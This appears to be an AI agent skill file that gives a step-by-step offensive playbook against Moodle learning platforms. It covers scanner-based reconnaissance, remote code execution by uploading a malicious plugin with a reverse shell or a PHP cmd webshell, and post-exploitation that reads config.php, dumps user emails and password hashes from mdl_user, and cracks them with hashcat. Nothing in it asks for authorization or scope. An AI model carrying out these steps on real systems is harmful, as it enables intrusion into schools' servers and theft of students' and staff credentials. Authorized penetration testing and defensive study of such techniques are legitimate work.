Moodle Security Assessment

A comprehensive skill for conducting security assessments on Moodle learning management systems.

When to Use This Skill

Use this skill when:

• Assessing Moodle installations for security vulnerabilities
• Performing reconnaissance on educational platforms
• Testing Moodle plugin security
• Extracting credentials from compromised Moodle systems
• Any security work involving Moodle LMS

Quick Start

# Run automated reconnaissance
python scripts/moodle_scan.py -u http://target.com/moodle/

# Check for known CVEs
python scripts/check_cves.py --version 3.9.0

Phase 1: Reconnaissance

Automated Scanning Tools

Run these tools to enumerate the Moodle installation:

Droopescan

pip3 install droopescan
droopescan scan moodle -u http://target.com/moodle/

What it finds:

• Installed plugins and their paths
• Moodle version detection
• Interesting URLs (admin panels, readme files)
• Exposed version files

Moodlescan

# Clone from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://target.com/moodle/

What it finds:

• Server information (Apache, PHP versions)
• Security headers
• Moodle version via feature files
• Known vulnerabilities

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://target.com/moodle/

What it finds:

• General CMS enumeration
• Plugin detection
• Version information

Manual Version Detection

Check these endpoints for version information:

• /admin/tool/lp/tests/behat/course_competencies.feature

• /README.txt

• /mod/*/version.php

• /theme/*/version.php

CVE Research

Once you have the version, check for known vulnerabilities:

• https://snyk.io/vuln/composer:moodle%2Fmoodle
• https://cve.mitre.org/ (search "Moodle")
• https://github.com/search?q=moodle+cve

Phase 2: Exploitation

RCE via Plugin Installation

Prerequisites: Manager role with plugin installation enabled

1. Navigate to Site administration → Plugins → Install plugins

2. If plugin installation is disabled, check for privilege escalation:

   • CVE-2020-14321: https://github.com/HoangKien1020/CVE-2020-14321

3. Upload a malicious plugin:

   # Use the bundled RCE plugin
   # Modify the IP and port before uploading
   unzip moodle-rce-plugin.zip
   # Edit the reverse shell IP/port in the plugin files
   zip -r moodle-rce-plugin.zip moodle-rce-plugin/
   

4. Access the malicious plugin:

   http://target.com/moodle/blocks/rce/lang/en/block_rce.php?cmd=id
   

Alternative RCE Plugin

Use the plugin from https://github.com/HoangKien1020/Moodle_RCE for a standard PHP shell with

cmd

parameter.

Phase 3: Post-Exploitation

Find Configuration Files

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

The

config.php

contains:

• Database credentials
• Database name
• Table prefix (usually

  mdl_

  )
• Salt values
• File storage paths

Extract Database Credentials

# From config.php, extract:
$CFG->dbuser = 'username';
$CFG->dbpass = 'password';
$CFG->dbname = 'moodle';
$CFG->dbtype = 'mysqli';

Dump User Credentials

/usr/local/bin/mysql -u <username> -p<password> -e "
  use moodle;
  select email, username, password from mdl_user;
  exit
"

Important: Moodle passwords are hashed. Use hashcat or john to crack them:

hashcat -m 1600 hashes.txt wordlist.txt

Additional Post-Exploitation

• Check for other users with elevated privileges
• Look for uploaded files in

  /moodledata/

• Review scheduled tasks and cron jobs
• Check for backup files

Common Vulnerabilities

Privilege Escalation

• CVE-2020-14321: Manager privilege escalation
• Check for misconfigured roles and capabilities

Plugin Vulnerabilities

• Outdated plugins with known CVEs
• Custom plugins with insecure code
• File upload vulnerabilities in plugins

Information Disclosure

• Exposed

  config.php

• Version files in plugin directories
• Debug mode enabled
• Error messages revealing paths

Best Practices

1. Always enumerate first - Don't skip reconnaissance
2. Check multiple version sources - Different endpoints may show different versions
3. Verify CVE applicability - Not all CVEs affect all versions
4. Document findings - Track which plugins and versions are vulnerable
5. Test plugin installation - This is often the most reliable RCE vector

Troubleshooting

Plugin Installation Fails

• Check if you have manager role
• Verify plugin installation is enabled in Site administration
• Try privilege escalation via CVE-2020-14321

Version Detection Fails

• Try multiple endpoints
• Check for custom themes hiding version info
• Look at HTTP headers for clues

Database Access Denied

• Verify credentials from config.php
• Check if database is on a different host
• Look for connection strings in other config files